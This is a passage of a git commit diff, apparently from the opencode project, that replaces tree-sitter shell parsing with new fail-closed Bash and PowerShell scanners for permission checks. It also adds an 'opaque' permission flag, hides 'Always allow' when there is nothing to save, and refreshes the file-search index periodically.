chore(shell-scan): keep research artifacts local

Co-authored-by: Dax Raad <mail@thdxr.com>

.changeset/shell-permission-scan.md

@@ -0,0 +1,8 @@
+---
+"@opencode-ai/core": minor
+"@opencode-ai/schema": minor
+"@opencode-ai/protocol": minor
+"@opencode-ai/client": minor
+---
+
+Replace Core shell permission parsing with portable, fail-closed Bash and PowerShell scanners.

.github/workflows/test.yml

@@ -76,6 +76,16 @@ jobs:
         env:
           OPENCODE_EXPERIMENTAL_DISABLE_FILEWATCHER: ${{ runner.os == 'Windows' && 'true' || 'false' }}
 
+      - name: Verify PowerShell 7 scanner conformance
+        if: always() && runner.os == 'Windows'
+        working-directory: packages/shell-scan
+        run: PWSH=pwsh bun run research:powershell
+
+      - name: Verify Windows PowerShell scanner conformance
+        if: always() && runner.os == 'Windows'
+        working-directory: packages/shell-scan
+        run: PWSH=powershell.exe bun run research:powershell
+
       - name: Verify compiled service lifecycle
         if: always()
         timeout-minutes: 10

bun.lock

@@ -145,10 +145,7 @@
         "open": "10.1.2",
         "semver": "catalog:",
         "solid-js": "catalog:",
-        "tree-sitter-bash": "0.25.0",
-        "tree-sitter-powershell": "0.25.10",
         "uqr": "0.1.3",
-        "web-tree-sitter": "0.25.10",
         "ws": "8.21.0",
       },
       "devDependencies": {
@@ -391,11 +388,8 @@
         "immer": "11.1.4",
         "jsonc-parser": "3.3.1",
         "mime-types": "3.0.2",
-        "tree-sitter-bash": "0.25.0",
-        "tree-sitter-powershell": "0.25.10",
         "turndown": "7.2.0",
         "venice-ai-sdk-provider": "2.1.1",
-        "web-tree-sitter": "0.25.10",
         "which": "6.0.1",
         "zod": "catalog:",
       },
@@ -403,6 +397,7 @@
         "@effect/platform-node": "catalog:",
         "@effect/sql-sqlite-bun": "catalog:",
         "@opencode-ai/http-recorder": "workspace:*",
+        "@opencode-ai/shell-scan": "workspace:*",
         "@parcel/watcher-darwin-arm64": "2.5.1",
         "@parcel/watcher-darwin-x64": "2.5.1",
         "@parcel/watcher-linux-arm64-glibc": "2.5.1",
@@ -772,6 +767,15 @@
         "vite": "catalog:",
       },
     },
+    "packages/shell-scan": {
+      "name": "@opencode-ai/shell-scan",
+      "version": "0.0.0",
+      "devDependencies": {
+        "@tsconfig/bun": "catalog:",
+        "@types/bun": "catalog:",
+        "@typescript/native-preview": "catalog:",
+      },
+    },
     "packages/simulation": {
       "name": "@opencode-ai/simulation",
       "version": "1.17.13",
@@ -1122,12 +1126,9 @@
     },
   },
   "trustedDependencies": [
-    "esbuild",
-    "tree-sitter-powershell",
-    "protobufjs",
     "electron",
-    "web-tree-sitter",
-    "tree-sitter-bash",
+    "esbuild",
+    "protobufjs",
   ],
   "patchedDependencies": {
     "@pierre/trees@1.0.0-beta.4": "patches/@pierre%2Ftrees@1.0.0-beta.4.patch",
@@ -2160,6 +2161,8 @@
 
     "@opencode-ai/session-ui": ["@opencode-ai/session-ui@workspace:packages/session-ui"],
 
+    "@opencode-ai/shell-scan": ["@opencode-ai/shell-scan@workspace:packages/shell-scan"],
+
     "@opencode-ai/simulation": ["@opencode-ai/simulation@workspace:packages/simulation"],
 
     "@opencode-ai/slack": ["@opencode-ai/slack@workspace:packages/slack"],
@@ -5744,10 +5747,6 @@
 
     "traverse": ["traverse@0.3.9", "", {}, "sha512-iawgk0hLP3SxGKDfnDJf8wTz4p2qImnyihM5Hh/sGvQ3K37dPi/w8sRhdNIxYA1TwFwc5mDhIJq+O0RsvXBKdQ=="],
 
-    "tree-sitter-bash": ["tree-sitter-bash@0.25.0", "", { "dependencies": { "node-addon-api": "^8.2.1", "node-gyp-build": "^4.8.2" }, "peerDependencies": { "tree-sitter": "^0.25.0" }, "optionalPeers": ["tree-sitter"] }, "sha512-gZtlj9+qFS81qKxpLfD6H0UssQ3QBc/F0nKkPsiFDyfQF2YBqYvglFJUzchrPpVhZe9kLZTrJ9n2J6lmka69Vg=="],
-
-    "tree-sitter-powershell": ["tree-sitter-powershell@0.25.10", "", { "dependencies": { "node-addon-api": "^7.1.0", "node-gyp-build": "^4.8.0" }, "peerDependencies": { "tree-sitter": "^0.25.0" }, "optionalPeers": ["tree-sitter"] }, "sha512-bEt8QoySpGFnU3aa8WedQyNMaN6aTwy/WUbvIVt0JSKF+BbJoSHNHu+wCbhj7xLMsfB0AuffmiJm+B8gzva8Lg=="],
-
     "treeverse": ["treeverse@3.0.0", "", {}, "sha512-gcANaAnd2QDZFmHFEOF4k7uc1J/6a6z3DJMd/QwEyxLoKGiptJRwid582r7QIsFlFMIZ3SnxfS52S4hm2DHkuQ=="],
 
     "trim-lines": ["trim-lines@3.0.1", "", {}, "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg=="],
@@ -7042,8 +7041,6 @@
 
     "tiny-async-pool/semver": ["semver@5.7.2", "", { "bin": { "semver": "bin/semver" } }, "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g=="],
 
-    "tree-sitter-bash/node-addon-api": ["node-addon-api@8.9.1", "", {}, "sha512-4eUQWVPCUUUiBjLnHS3cXWeC6ryoPUc0U3rP7IuzapoGbzMqd/r6KKO0clr0b+snQhsrueFEhCZDdK+LK7hxKg=="],
-
     "tw-to-css/postcss": ["postcss@8.4.31", "", { "dependencies": { "nanoid": "^3.3.6", "picocolors": "^1.0.0", "source-map-js": "^1.0.2" } }, "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ=="],
 
     "tw-to-css/tailwindcss": ["tailwindcss@3.3.2", "", { "dependencies": { "@alloc/quick-lru": "^5.2.0", "arg": "^5.0.2", "chokidar": "^3.5.3", "didyoumean": "^1.2.2", "dlv": "^1.1.3", "fast-glob": "^3.2.12", "glob-parent": "^6.0.2", "is-glob": "^4.0.3", "jiti": "^1.18.2", "lilconfig": "^2.1.0", "micromatch": "^4.0.5", "normalize-path": "^3.0.0", "object-hash": "^3.0.0", "picocolors": "^1.0.0", "postcss": "^8.4.23", "postcss-import": "^15.1.0", "postcss-js": "^4.0.1", "postcss-load-config": "^4.0.1", "postcss-nested": "^6.0.1", "postcss-selector-parser": "^6.0.11", "postcss-value-parser": "^4.2.0", "resolve": "^1.22.2", "sucrase": "^3.32.0" }, "bin": { "tailwind": "lib/cli.js", "tailwindcss": "lib/cli.js" } }, "sha512-9jPkMiIBXvPc2KywkraqsUfbfj+dHDb+JPWtSJa9MLFdrPyazI7q6WX2sUrm7R9eVR7qqv3Pas7EvQFzxKnI6w=="],

package.json

@@ -145,10 +145,6 @@
     "esbuild",
     "node-pty",
     "protobufjs",
-    "tree-sitter",
-    "tree-sitter-bash",
-    "tree-sitter-powershell",
-    "web-tree-sitter",
     "electron"
   ],
   "overrides": {

packages/app/e2e/regression/session-request-docks.spec.ts

@@ -87,7 +87,7 @@ test("shows a pending permission dock", async ({ page }) => {
         permission: "bash",
         patterns: ["git status", "git diff"],
         metadata: {},
-        always: [],
+        always: ["git *"],
       },
     ],
   })

packages/app/src/pages/session/composer/session-permission-dock.tsx

@@ -37,14 +37,16 @@ export function SessionPermissionDock(props: {
             <Button variant="ghost" size="normal" onClick={() => props.onDecide("reject")} disabled={props.responding}>
               {language.t("ui.permission.deny")}
             </Button>
-            <Button
-              variant="secondary"
-              size="normal"
-              onClick={() => props.onDecide("always")}
-              disabled={props.responding}
-            >
-              {language.t("ui.permission.allowAlways")}
-            </Button>
+            <Show when={props.request.save?.length}>
+              <Button
+                variant="secondary"
+                size="normal"
+                onClick={() => props.onDecide("always")}
+                disabled={props.responding}
+              >
+                {language.t("ui.permission.allowAlways")}
+              </Button>
+            </Show>
             <Button variant="primary" size="normal" onClick={() => props.onDecide("once")} disabled={props.responding}>
               {language.t("ui.permission.allowOnce")}
             </Button>

packages/cli/package.json

@@ -40,9 +40,6 @@
     "open": "10.1.2",
     "semver": "catalog:",
     "solid-js": "catalog:",
-    "tree-sitter-bash": "0.25.0",
-    "tree-sitter-powershell": "0.25.10",
-    "web-tree-sitter": "0.25.10",
     "uqr": "0.1.3",
     "ws": "8.21.0"
   },

packages/cli/script/node-assets.ts

@@ -3,7 +3,7 @@ import { copyFile, mkdir, readdir, readFile, stat } from "node:fs/promises"
 import path from "node:path"
 import { fileURLToPath } from "node:url"
 import { getNodeAssets } from "@opentui/core/node-assets"
-import { attentionSoundAssets, type NodeTarget, photonWasmAsset, shellParserWasmAssets } from "../src/node/target"
+import { attentionSoundAssets, type NodeTarget, photonWasmAsset } from "../src/node/target"
 
 const dir = path.resolve(import.meta.dirname, "..")
 
@@ -43,10 +43,6 @@ export async function collectNodeAssets(target: NodeTarget) {
       key: photonWasmAsset,
       source: fileURLToPath(import.meta.resolve(photonWasmAsset)),
     },
-    ...Object.values(shellParserWasmAssets).map((key) => ({
-      key,
-      source: fileURLToPath(import.meta.resolve(key)),
-    })),
     ...attentionSoundAssets.map((key) => ({
       key,
       source: path.resolve(dir, "../ui/src/assets/audio", path.basename(key)),

packages/cli/src/acp/permission.ts

@@ -47,7 +47,7 @@ export async function replyPermission(input: {
         locations: permissionLocations(toolName, toolInput, input.event.data.resources, input.cwd, previews),
         ...(previews.length > 0 ? { content: previews } : {}),
       },
-      options,
+      options: input.event.data.save?.length ? options : options.filter((option) => option.optionId !== "always"),
     })
     .catch(() => undefined)
   const selected = result?.outcome.outcome === "selected" ? result.outcome.optionId : undefined

packages/cli/src/node/target.ts

@@ -29,11 +29,6 @@ export function nodeTarget(platform: string, arch: string) {
 }
 
 export const photonWasmAsset = "@silvia-odwyer/photon-node/photon_rs_bg.wasm"
-export const shellParserWasmAssets = {
-  runtime: "web-tree-sitter/tree-sitter.wasm",
-  bash: "tree-sitter-bash/tree-sitter-bash.wasm",
-  powershell: "tree-sitter-powershell/tree-sitter-powershell.wasm",
-} as const
 export const nodeExecArgv = ["--experimental-ffi", "--use-system-ca", "--disable-warning=ExperimentalWarning"] as const
 
 export const attentionSoundAssets = [

packages/cli/test/acp/permission-behavior.test.ts

@@ -49,6 +49,7 @@ describe("acp permission behavior", () => {
         send(
           permissionAsked("ses_allow", "perm_always", {
             action: "read",
+            save: ["/workspace/file.ts"],
             metadata: { path: "/workspace/file.ts" },
             source: { type: "tool", messageID: "msg_allow", id: "call_always" },
           }),
@@ -84,10 +85,10 @@ describe("acp permission behavior", () => {
         },
         options: [
           { optionId: "once", kind: "allow_once", name: "Allow once" },
-          { optionId: "always", kind: "allow_always", name: "Always allow" },
           { optionId: "reject", kind: "reject_once", name: "Reject" },
         ],
       })
+      expect(permissionRequests[0]?.options.map((option) => option.optionId)).toEqual(["once", "reject"])
       expect(permissionRequests[1]).toMatchObject({
         sessionId: "ses_allow",
         toolCall: {
@@ -557,6 +558,7 @@ function permissionAsked(
   input: {
     readonly action?: string
     readonly metadata?: Record<string, unknown>
+    readonly save?: string[]
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
   } = {},
 ) {
@@ -565,6 +567,7 @@ function permissionAsked(
     sessionID,
     action: input.action ?? "shell",
     resources: ["*"],
+    ...(input.save ? { save: input.save } : {}),
     metadata: input.metadata ?? { command: "printf hello" },
     ...(input.source ? { source: input.source } : {}),
   })

packages/cli/test/node-assets.test.ts

@@ -1,17 +1,10 @@
 import { expect, test } from "bun:test"
-import { fileURLToPath } from "node:url"
 import { collectNodeAssets } from "../script/node-assets"
-import { nodeTarget, shellParserWasmAssets } from "../src/node/target"
+import { nodeTarget } from "../src/node/target"
 
 test("collects each SEA asset key once", async () => {
   const assets = await collectNodeAssets(nodeTarget(process.platform, process.arch))
   const keys = assets.map((asset) => asset.key)
 
   expect(new Set(keys).size).toBe(keys.length)
-  expect(assets.filter((asset) => asset.key === shellParserWasmAssets.runtime)).toEqual([
-    {
-      key: shellParserWasmAssets.runtime,
-      source: fileURLToPath(import.meta.resolve(shellParserWasmAssets.runtime)),
-    },
-  ])
 })

packages/cli/vite.node.config.ts

@@ -3,7 +3,7 @@ import { readFile } from "node:fs/promises"
 import { createRequire } from "node:module"
 import { defineConfig, type Plugin, type UserConfig } from "vite"
 import solid from "vite-plugin-solid"
-import { nodeExecArgv, nodeTarget, type NodeTarget, photonWasmAsset, shellParserWasmAssets } from "./src/node/target"
+import { nodeExecArgv, nodeTarget, type NodeTarget, photonWasmAsset } from "./src/node/target"
 
 const dir = import.meta.dirname
 
@@ -212,9 +212,6 @@ process.env.OTUI_ASSET_ROOT = __ocAssetRoot
 process.env.OPENCODE_NODE_PTY_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.nodePtyEntryAsset)})
 process.env.OPENCODE_PARCEL_WATCHER_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.parcelWatcherAsset)})
 process.env.OPENCODE_PHOTON_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(photonWasmAsset)})
-process.env.OPENCODE_TREE_SITTER_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.runtime)})
-process.env.OPENCODE_TREE_SITTER_BASH_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.bash)})
-process.env.OPENCODE_TREE_SITTER_POWERSHELL_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.powershell)})
 process.env.FFF_BINARY_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.fffAsset)})
 process.env.OPENCODE_FFF_FFI_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.fffFfiAsset)})
 try {

packages/client/src/effect/api/api.ts

@@ -1315,6 +1315,7 @@ export type Endpoint15_3Input = {
   readonly action: string
   readonly resources: ReadonlyArray<string>
   readonly save?: ReadonlyArray<string> | undefined
+  readonly opaque?: boolean | undefined
   readonly metadata?: { readonly [x: string]: unknown } | undefined
   readonly source?: Permission.Source | undefined
   readonly agent?: Agent.ID | undefined

packages/client/src/effect/generated/client.ts

@@ -982,6 +982,7 @@ const Endpoint15_3 = (raw: RawClient["server.permission"]) => (input: Endpoint15
         action: input["action"],
         resources: input["resources"],
         save: input["save"],
+        opaque: input["opaque"],
         metadata: input["metadata"],
         source: input["source"],
         agent: input["agent"],

packages/client/src/promise/generated/client.ts

@@ -1402,6 +1402,7 @@ export function make(options: ClientOptions) {
               action: input["action"],
               resources: input["resources"],
               save: input["save"],
+              opaque: input["opaque"],
               metadata: input["metadata"],
               source: input["source"],
               agent: input["agent"],

packages/client/src/promise/generated/types.ts

@@ -1379,6 +1379,7 @@ export type PermissionRequest = {
   action: string
   resources: Array<string>
   save?: Array<string>
+  opaque?: boolean
   metadata?: { [x: string]: JsonValue }
   source?: PermissionSource
 }
@@ -1395,6 +1396,7 @@ export type PermissionAsked = {
     action: string
     resources: Array<string>
     save?: Array<string>
+    opaque?: boolean
     metadata?: { [x: string]: any }
     source?: PermissionSource
   }
@@ -5239,6 +5241,7 @@ export type PermissionCreateInput = {
     readonly action: string
     readonly resources: ReadonlyArray<string>
     readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
     readonly metadata?: { readonly [x: string]: JsonValue }
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
     readonly agent?: string | null
@@ -5248,6 +5251,7 @@ export type PermissionCreateInput = {
     readonly action: string
     readonly resources: ReadonlyArray<string>
     readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
     readonly metadata?: { readonly [x: string]: JsonValue }
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
     readonly agent?: string | null
@@ -5257,6 +5261,7 @@ export type PermissionCreateInput = {
     readonly action: string
     readonly resources: ReadonlyArray<string>
     readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
     readonly metadata?: { readonly [x: string]: JsonValue }
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
     readonly agent?: string | null
@@ -5266,15 +5271,27 @@ export type PermissionCreateInput = {
     readonly action: string
     readonly resources: ReadonlyArray<string>
     readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
     readonly metadata?: { readonly [x: string]: JsonValue }
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
     readonly agent?: string | null
   }["save"]
+  readonly opaque?: {
+    readonly id?: string | null
+    readonly action: string
+    readonly resources: ReadonlyArray<string>
+    readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
+    readonly metadata?: { readonly [x: string]: JsonValue }
+    readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
+    readonly agent?: string | null
+  }["opaque"]
   readonly metadata?: {
     readonly id?: string | null
     readonly action: string
     readonly resources: ReadonlyArray<string>
     readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
     readonly metadata?: { readonly [x: string]: JsonValue }
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
     readonly agent?: string | null
@@ -5284,6 +5301,7 @@ export type PermissionCreateInput = {
     readonly action: string
     readonly resources: ReadonlyArray<string>
     readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
     readonly metadata?: { readonly [x: string]: JsonValue }
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
     readonly agent?: string | null
@@ -5293,6 +5311,7 @@ export type PermissionCreateInput = {
     readonly action: string
     readonly resources: ReadonlyArray<string>
     readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
     readonly metadata?: { readonly [x: string]: JsonValue }
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
     readonly agent?: string | null

packages/core/package.json

@@ -53,12 +53,6 @@
       "node": "./src/image/photon-wasm.node.ts",
       "default": "./src/image/photon-wasm.bun.ts"
     },
-    "#shell-parser-wasm": {
-      "workerd": "./src/shell/parser-wasm.workerd.ts",
-      "bun": "./src/shell/parser-wasm.bun.ts",
-      "node": "./src/shell/parser-wasm.node.ts",
-      "default": "./src/shell/parser-wasm.bun.ts"
-    },
     "#process-lock-ffi": {
       "workerd": "./src/util/process-lock-ffi.workerd.ts",
       "bun": "./src/util/process-lock-ffi.bun.ts",
@@ -81,6 +75,7 @@
     "@types/node": "catalog:",
     "@types/turndown": "5.0.5",
     "@types/which": "3.0.4",
+    "@opencode-ai/shell-scan": "workspace:*",
     "@parcel/watcher-darwin-arm64": "2.5.1",
     "@parcel/watcher-darwin-x64": "2.5.1",
     "@parcel/watcher-linux-arm64-glibc": "2.5.1",
@@ -138,10 +133,7 @@
     "jsonc-parser": "3.3.1",
     "mime-types": "3.0.2",
     "turndown": "7.2.0",
-    "tree-sitter-bash": "0.25.0",
-    "tree-sitter-powershell": "0.25.10",
     "venice-ai-sdk-provider": "2.1.1",
-    "web-tree-sitter": "0.25.10",
     "which": "6.0.1",
     "zod": "catalog:"
   }

packages/core/script/build.ts

@@ -19,7 +19,17 @@ const result = await Bun.build({
   target: "node",
   format: "esm",
   packages: "external",
-  external: ["#sqlite", "#pty", "#fff", "#photon-wasm", "#shell-parser-wasm", "#process-lock-ffi", "#v1-migration"],
+  external: ["#sqlite", "#pty", "#fff", "#photon-wasm", "#process-lock-ffi", "#v1-migration"],
+  plugins: [
+    {
+      name: "bundle-shell-scan",
+      setup(build) {
+        build.onResolve({ filter: /^@opencode-ai\/shell-scan$/ }, () => ({
+          path: path.resolve("../shell-scan/src/index.ts"),
+        }))
+      },
+    },
+  ],
   splitting: true,
   loader: {
     ".txt": "text",

packages/core/src/agent.ts

@@ -122,7 +122,10 @@ const layer = Layer.effect(
         return { id: info?.id ?? defaultID, info }
       }),
       list: Effect.fn("Agent.list")(function* () {
-        return Array.fromIterable(state.get().agents.values())
+        const agents = Array.fromIterable(state.get().agents.values())
+        const selected = selectedDefault()
+        if (!selected) return agents
+        return [selected, ...agents.filter((agent) => agent.id !== selected.id)]
       }),
     })
   }),

packages/core/src/filesystem/search.ts

@@ -2,7 +2,7 @@ export * as FileSystemSearch from "./search.js"
 
 import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
 import path from "path"
-import { Context, Effect, Layer, Schema, Scope } from "effect"
+import { Clock, Context, Duration, Effect, Layer, Schema, Scope } from "effect"
 import { Fff } from "#fff"
 import fuzzysort from "fuzzysort"
 import { FileSystem } from "../filesystem.js"
@@ -22,38 +22,64 @@ export type Options = typeof Options.Type
 
 export class Service extends Context.Service<Service, Interface>()("@opencode/FileSystem/Search") {}
 
+const REFRESH_INTERVAL = Duration.toMillis("10 seconds")
+
 export const ripgrepLayer = Layer.effect(
   Service,
   Effect.gen(function* () {
     const location = yield* Location.Service
     const ripgrep = yield* Ripgrep.Service
     const scope = yield* Scope.Scope
-    const files: string[] = []
-    const directories = new Set<string>()
+    const clock = yield* Clock.Clock
     const home = Protected.isHome(location.directory)
-    yield* ripgrep
-      .find({
+    let index = { files: [] as string[], directories: new Set<string>() }
+    let initialized = false
+    let settledAt = Number.NEGATIVE_INFINITY
+    let refreshing = false
+    const scan = Effect.gen(function* () {
+      const next = { files: [] as string[], directories: new Set<string>() }
+      if (!initialized) index = next
+      yield* ripgrep.find({
         cwd: location.directory,
         pattern: "*",
         limit: location.vcs && !home ? Number.MAX_SAFE_INTEGER : 100_000,
         exclude: home ? [...Protected.names()].map((name) => `${name}/**`) : undefined,
         onEntry: (entry) =>
           Effect.sync(() => {
-            files.push(entry.path)
+            next.files.push(entry.path)
             const parts = entry.path.split("/")
-            parts.slice(0, -1).forEach((_, index) => directories.add(parts.slice(0, index + 1).join("/") + path.sep))
+            parts
+              .slice(0, -1)
+              .forEach((_, offset) => next.directories.add(parts.slice(0, offset + 1).join("/") + path.sep))
           }),
       })
-      .pipe(Effect.orDie, Effect.asVoid, Effect.forkIn(scope))
+      index = next
+      initialized = true
+    }).pipe(
+      Effect.orDie,
+      Effect.ensuring(
+        Effect.sync(() => {
+          settledAt = clock.currentTimeMillisUnsafe()
+          refreshing = false
+        }),
+      ),
+    )
+    const refresh = Effect.sync(() => {
+      if (refreshing || clock.currentTimeMillisUnsafe() < settledAt + REFRESH_INTERVAL) return
+      refreshing = true
+      return scan
+    }).pipe(Effect.flatMap((effect) => (effect ? effect.pipe(Effect.forkIn(scope)) : Effect.void)))
+    yield* refresh
     return Service.of({
       find: (input) =>
         Effect.gen(function* () {
+          yield* refresh
           const items =
             input.type === "file"
-              ? files
+              ? index.files
               : input.type === "directory"
-                ? Array.from(directories)
-                : [...files, ...directories]
+                ? Array.from(index.directories)
+                : [...index.files, ...index.directories]
           return fuzzysort.go(input.query, items, { limit: input.limit ?? 50 }).map((item) => {
             const relative = item.target
             const type = relative.endsWith(path.sep) ? ("directory" as const) : ("file" as const)

packages/core/src/permission.ts

@@ -1,7 +1,7 @@
 export * as Permission from "./permission.js"
 
 import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
-import { Context, Deferred, Effect, Layer, Schema } from "effect"
+import { Context, Deferred, Effect, Layer, Schema, Struct } from "effect"
 import { Permission } from "@opencode-ai/schema/permission"
 import { Bus } from "./bus.js"
 import { Location } from "./location.js"
@@ -23,15 +23,6 @@ export type ID = typeof ID.Type
 export const Source = Permission.Source
 export type Source = typeof Source.Type
 
-const RequestFields = {
-  sessionID: Permission.Request.fields.sessionID,
-  action: Permission.Request.fields.action,
-  resources: Permission.Request.fields.resources,
-  save: Permission.Request.fields.save,
-  metadata: Permission.Request.fields.metadata,
-  source: Permission.Request.fields.source,
-}
-
 export const Request = Permission.Request
 export type Request = typeof Request.Type
 
@@ -40,7 +31,7 @@ export type Reply = typeof Reply.Type
 
 export const AssertInput = Schema.Struct({
   id: ID.pipe(Schema.optional),
-  ...RequestFields,
+  ...Struct.omit(Permission.Request.fields, ["id"]),
   agent: Agent.ID.pipe(Schema.optional),
 }).annotate({ identifier: "Permission.AssertInput" })
 export type AssertInput = typeof AssertInput.Type
@@ -94,6 +85,16 @@ export function evaluate(action: string, resource: string, ...rulesets: Permissi
   )
 }
 
+function evaluateOpaque(action: string, rules: Permission.Ruleset): Permission.Rule {
+  return (
+    rules.findLast((rule) => Wildcard.match(action, rule.action) && rule.resource === "*") ?? {
+      action,
+      resource: "*",
+      effect: "ask",
+    }
+  )
+}
+
 export function merge(...rulesets: Permission.Ruleset[]): Permission.Ruleset {
   return rulesets.flat()
 }
@@ -178,6 +179,13 @@ const layer = Layer.effect(
     })
 
     function denied(input: AssertInput, rules: Permission.Ruleset) {
+      if (input.opaque)
+        return rules.some(
+          (rule) =>
+            rule.effect === "deny" &&
+            Wildcard.match(input.action, rule.action) &&
+            input.resources.some((resource) => resource === "*" || Wildcard.match(resource, rule.resource)),
+        )
       return input.resources.some((resource) => evaluate(input.action, resource, rules).effect === "deny")
     }
 
@@ -187,9 +195,19 @@ const layer = Layer.effect(
 
     const evaluateInput = Effect.fnUntraced(function* (input: AssertInput) {
       const rules = yield* configured(input.sessionID, input.agent)
+      if (input.resources.length === 0) return { effect: "deny" as const, rules }
       if (denied(input, rules)) return { effect: "deny" as const, rules }
+      if (
+        input.opaque &&
+        rules.some(
+          (rule) => rule.effect !== "allow" && rule.resource !== "*" && Wildcard.match(input.action, rule.action),
+        )
+      )
+        return { effect: "ask" as const, rules }
       const all = [...rules, ...(yield* savedRules())]
-      const effects = input.resources.map((resource) => evaluate(input.action, resource, all).effect)
+      const effects = input.opaque
+        ? [evaluateOpaque(input.action, all).effect]
+        : input.resources.map((resource) => evaluate(input.action, resource, all).effect)
       const effect: Permission.Effect = effects.includes("deny") ? "deny" : effects.includes("ask") ? "ask" : "allow"
       return { effect, rules: all }
     })
@@ -200,7 +218,8 @@ const layer = Layer.effect(
         sessionID: input.sessionID,
         action: input.action,
         resources: input.resources,
-        save: input.save,
+        save: input.opaque ? undefined : input.save,
+        opaque: input.opaque,
         metadata: input.metadata,
         source: input.source,
       }
@@ -299,21 +318,11 @@ const layer = Layer.effect(
           pending.delete(input.requestID)
           if (input.reply !== "always" || !existing.request.save?.length) return
 
-          const rememberedRules = yield* savedRules()
           for (const [id, item] of pending) {
-            const input = { ...item.request }
-            const rules = yield* configured(item.request.sessionID, item.agent).pipe(
+            const result = yield* evaluateInput({ ...item.request, agent: item.agent }).pipe(
               Effect.catchTag("Session.NotFoundError", () => Effect.succeed(undefined)),
             )
-            if (!rules) continue
-            if (denied(input, rules)) continue
-            const effective = [...rules, ...rememberedRules]
-            if (
-              !item.request.resources.every(
-                (resource) => evaluate(item.request.action, resource, effective).effect === "allow",
-              )
-            )
-              continue
+            if (!result || result.effect !== "allow") continue
             yield* bus.publish(Permission.Event.Replied, {
               sessionID: item.request.sessionID,
               requestID: item.request.id,

packages/core/src/shell/parse.ts

@@ -1,15 +1,12 @@
 export * as ShellParse from "./parse.js"
 
 import { Effect } from "effect"
-import { fileURLToPath } from "url"
+import { ShellScan } from "@opencode-ai/shell-scan"
 import os from "os"
 import path from "path"
-import type { Node } from "web-tree-sitter"
-import { shellParserWasm } from "#shell-parser-wasm"
 import { ShellSelect } from "./select.js"
 
-type Part = { type: string; text: string }
-const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location"])
+const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location", "sl"])
 const POWERSHELL_PATH_FLAGS = new Set(["-literalpath", "-path"])
 
 const ARITY: Record<string, number> = {
@@ -153,77 +150,71 @@ const ARITY: Record<string, number> = {
 }
 
 export const scan = Effect.fn("ShellParse.scan")(function* (command: string, shell: string, cwd: string) {
-  const parsers = yield* Effect.promise(load)
-  const powershell = ShellSelect.ps(shell)
-  const tree = (powershell ? parsers.ps : parsers.bash).parse(command)
-  if (!tree) return yield* Effect.fail(new Error("Failed to parse shell command"))
-
-  return yield* Effect.acquireUseRelease(
-    Effect.succeed(tree),
-    (tree) =>
-      Effect.sync(() =>
-        tree.rootNode.descendantsOfType("command").reduce(
-          (result, node) => {
-            if (!node) return result
-            const command = parts(node)
-            const tokens = command.map((part) => part.text)
-            if (tokens.length === 0) return result
-            const name = powershell ? tokens[0].toLowerCase() : tokens[0]
-            if (CWD.has(name)) {
-              result.directories.push(...directoryArgs(command, powershell, cwd, shell))
-              return result
-            }
-            result.commands.push({
-              resource: (node.parent?.type === "redirected_statement" ? node.parent.text : node.text).trim(),
-              save: `${prefix(tokens).join(" ")} *`,
-            })
-            return result
-          },
-          { commands: [] as Array<{ resource: string; save: string }>, directories: [] as string[] },
-        ),
-      ),
-    (tree) => Effect.sync(() => tree.delete()),
-  )
+  return scanCommands(command, cwd, shell, ShellSelect.ps(shell))
 })
 
-function parts(node: Node) {
-  return Array.from({ length: node.childCount }).flatMap((_, index): Part[] => {
-    const child = node.child(index)
-    if (!child) return []
-    if (child.type === "command_elements")
-      return Array.from({ length: child.childCount }).flatMap((_, itemIndex): Part[] => {
-        const item = child.child(itemIndex)
-        if (!item || item.type === "command_argument_sep" || item.type === "redirection") return []
-        return [{ type: item.type, text: item.text }]
-      })
-    if (!["command_name", "command_name_expr", "word", "string", "raw_string", "concatenation"].includes(child.type))
-      return []
-    return [{ type: child.type, text: child.text }]
-  })
+function scanCommands(command: string, cwd: string, shell: string, powershell: boolean) {
+  const result = powershell ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
+  if (result.kind === "opaque")
+    return {
+      commands: [{ resource: command }],
+      directories: [],
+      opaque: true,
+      directoryUnknown: true,
+    }
+  if (
+    result.commands.some((item) => {
+      const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
+      if (!name || !CWD.has(name) || name === "popd" || name === "pop-location") return false
+      return directoryArgs(item.words, powershell, cwd, shell).length === 0
+    })
+  )
